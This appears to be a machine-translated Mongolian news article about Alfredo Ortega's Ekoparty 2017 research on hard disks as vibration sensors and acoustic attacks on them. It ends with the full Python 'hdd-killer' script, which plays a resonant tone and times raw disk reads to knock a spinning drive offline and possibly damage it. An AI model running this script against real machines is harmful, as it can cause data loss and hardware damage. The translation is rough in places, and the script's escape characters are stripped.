Та яагаад HDD рүүгээ хашгирч болохгүй гэж

Та яагаад HDD рүүгээ хашгирч болохгүй гэж

Буэнос-Айрес хотноо болсон Ekoparty 2017 компьютерийн аюулгүй байдлын бага хурлын үеэр Аргентины хакер Альфредо Ортега микрофон ашиглахгүйгээр байрны утсыг нууцаар чагнах системийг харуулсан маш сонирхолтой бүтээн байгуулалтыг үзүүлэв. Дуу хатуу диск рүү шууд бичигдсэн!

HDD нь ихэвчлэн өндөр эрчимтэй нам давтамжийн дуу чимээ, хөлийн чимээ болон бусад чичиргээг хүлээн авдаг. Эрдэмтэд хүний ​​яриаг хараахан таних боломжгүй байна энэ чиглэлээр судалгаа хийж байна (жишээ нь гироскоп эсвэл HDD-ээс бичигдсэн бага давтамжийн чичиргээгээр яриа таних).

Дуу нь агаар эсвэл өөр орчны чичиргээ юм. Хүн тэдгээрийг чичиргээг дотоод чихэнд дамжуулдаг чихний бүрхэвчээр хүлээн авдаг. Микрофон нь ойролцоогоор чих шиг хийгдсэн байдаг - энд мөн чичиргээ нь цахилгаан импульсийг өдөөдөг нимгэн мембранаар бичигддэг. Хатуу диск нь мэдээжийн хэрэг хүрээлэн буй орчны агаарын хэлбэлзлээс болж микроскопийн чичиргээнд өртдөг. Үүнийг HDD-ийн техникийн шинж чанараас ч мэддэг: үйлдвэрлэгчид ихэвчлэн зөвшөөрөгдөх хамгийн их чичиргээний түвшинг заадаг бөгөөд хатуу диск нь өөрөө резин эсвэл бусад тусгаарлагч материалаар хийсэн чичиргээний хамгаалалттай саванд байрлуулахыг оролддог. Эндээс HDD ашиглан дуу авиа бичиж болно гэж дүгнэхэд хялбар байдаг. Яаж гэдгийг нь олж мэдэх л үлдлээ.

Альфредо Ортега хажуугийн сувгийн довтолгооны өвөрмөц хувилбарыг санал болгосон, тухайлбал цаг хугацааны довтолгоо. Энэ халдлага нь өгөгдсөн оролтын өгөгдлөөс хамааран төхөөрөмж дээр өөр өөр үйлдлүүд өөр өөр хугацаанд хийгддэг гэсэн таамаглал дээр суурилдаг. Энэ тохиолдолд "оролтын өгөгдөл" нь хүрээлэн буй орчны чичиргээ, өөрөөр хэлбэл дуу чимээтэй хамааралтай унших толгой ба HDD хавтангийн чичиргээ юм. Иймээс тооцооллын хугацааг хэмжиж, өгөгдлийн статистик дүн шинжилгээ хийснээр толгойн/хавганы чичиргээ, улмаар орчны чичиргээг хэмжиж болно. Өгөгдлийг уншихад удаан байх тусам HDD-ийн чичиргээ илүү хүчтэй болж, дуу чимээ ихсэх болно.

Хатуу дискний чичиргээг хэрхэн хэмжих вэ? Маш энгийн: зүгээр л системийн дуудлагыг ажиллуул read () - мөн дуусгахад шаардагдах хугацааг тэмдэглэ. Орчин үеийн үйлдлийн системүүд нь системийн дуудлагын цагийг нано секундын нарийвчлалтайгаар унших боломжийг олгодог.

Салбараас мэдээлэл унших хурд нь толгой ба тавагны байрлалаас хамаардаг бөгөөд энэ нь HDD хайрцагны чичиргээтэй холбоотой байдаг. Тэгээд л болоо.

Статистикийн шинжилгээг энгийн Kscope хэрэгслийг ашиглан хийдэг. Тэдний хэлснээр ухаалаг бүх зүйл энгийн байдаг.

Та яагаад HDD рүүгээ хашгирч болохгүй гэж
Kscope хэрэгсэл (stat() syscall)

Kscope нь системийн дуудлагын гүйцэтгэлийн хугацааны өчүүхэн ялгааг нүдээр харуулах жижиг хэрэгсэл юм. Эх сурвалжGitHub дээр нийтлэгдсэн.

Тусдаа хадгалах газарт HDD-цаг Хатуу диск дээр цаг хугацааны халдлага хийхээр тохируулсан, өөрөөр хэлбэл системийн дуудлагад дүн шинжилгээ хийхээр тохируулсан хэрэгслийн хувилбар байдаг. read ().

HDD ашиглан дуу бичлэг хийх үзүүлбэр, Kscope хэрэгслийн ажиллагаа


Мэдээжийн хэрэг, яриаг ийм байдлаар ойлгох боломжгүй, гэхдээ HDD нь чичиргээ мэдрэгчийн хувьд маш тохиромжтой. Жишээлбэл, хатуу гутал өмссөн эсвэл хөл нүцгэн хүн компьютертэй өрөөнд орсон бол та бүртгүүлж болно (хэрэв халдагч зөөлөн пүүз өмссөн эсвэл шалан дээр зузаан хивс байгаа бол HDD чичиргээг бүртгэх боломжгүй болно - Үүнийг шалгах нь зүйтэй). Компьютер нь хагарсан шил болон дууны хүчтэй бусад тохиолдлыг бүртгэх чадвартай. Өөрөөр хэлбэл, хатуу диск нь зөвшөөрөлгүй халдлагыг илрүүлэх нэг төрлийн систем болж чаддаг.

HDD алуурчин

Дашрамд хэлэхэд, хатуу дискийг идэвхгүй болгоход ижил төстэй аргыг ашиглаж болно. Зөвхөн энд бид HDD-ийн хэлбэлзлийг арилгадаггүй, харин эсрэгээр бид HDD-д тэжээгддэг хэлбэлзлийг үүсгэдэг. Хэрэв та чанга яригчаас HDD давтамжтай давтамжтайгаар дуу тоглуулбал систем нь удалгүй I/O алдаа гарснаар төхөөрөмжийг унтраадаг (Linux цөм нь 120 секундын дараа HDD-г бүрэн унтраадаг). Хатуу диск нь өөрөө эргэлт буцалтгүй гэмтэл авч болно.

Та яагаад HDD рүүгээ хашгирч болохгүй гэж
Линуксийн цөм нь Edifier r120u USB чанга яригчийн чанга яригчаар резонансын давтамжтайгаар дууг 19 секундын дараа хүргэсний дараа хатуу дискийг унтраасан. Чанга яригч нь хүч чадлын дөрөвний нэг орчимд (100 мВт-аас бага) асаалттай бөгөөд чичиргээг сайжруулахын тулд ширээ рүү чиглэсэн HDD-ээс 20 см зайд байрладаг. Хүрээнээс видео HDD алуурчны үзүүлбэрээр

HDD дээр ийм "дайралт" заримдаа өдөр тутмын амьдралд тохиолдлоор тохиолддог нь сонин юм. Тухайлбал, 2016 оны есдүгээр сард ING банкны дата төв галын сургуулилт хийсний дараа 10 цагийн турш үйл ажиллагаагаа зогсоохоос өөр аргагүйд хүрсэн. Олон арван хатуу диск амжилтгүй болсон өндөр даралтын дор цилиндрээс ялгарах инертийн хийн чанга дуу чимээний улмаас. Дуу нь маш чанга байсан (130 дБ-ээс их), гэхдээ та хатуу диск рүү хашгирч чадахгүй - энэ нь HDD-д хандах саатлыг нэмэгдүүлдэг.

Дата төв дэх хатуу диск рүү хүний ​​хашгирч буйг харуулсан үзүүлбэр. Хоцролтыг хэмжих


Альфредо Ортега цуурайтсан дууг үүсгэхийн тулд Python скрипт бичжээ hdd алуурчин (видео үзүүлбэр).

HDD устгах скрипт Энэ нь маш жижиг тул та энд бүрэн эхээр нь нийтлэх боломжтой.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Эх сурвалж: www.habr.com

сэтгэгдэл нэмэх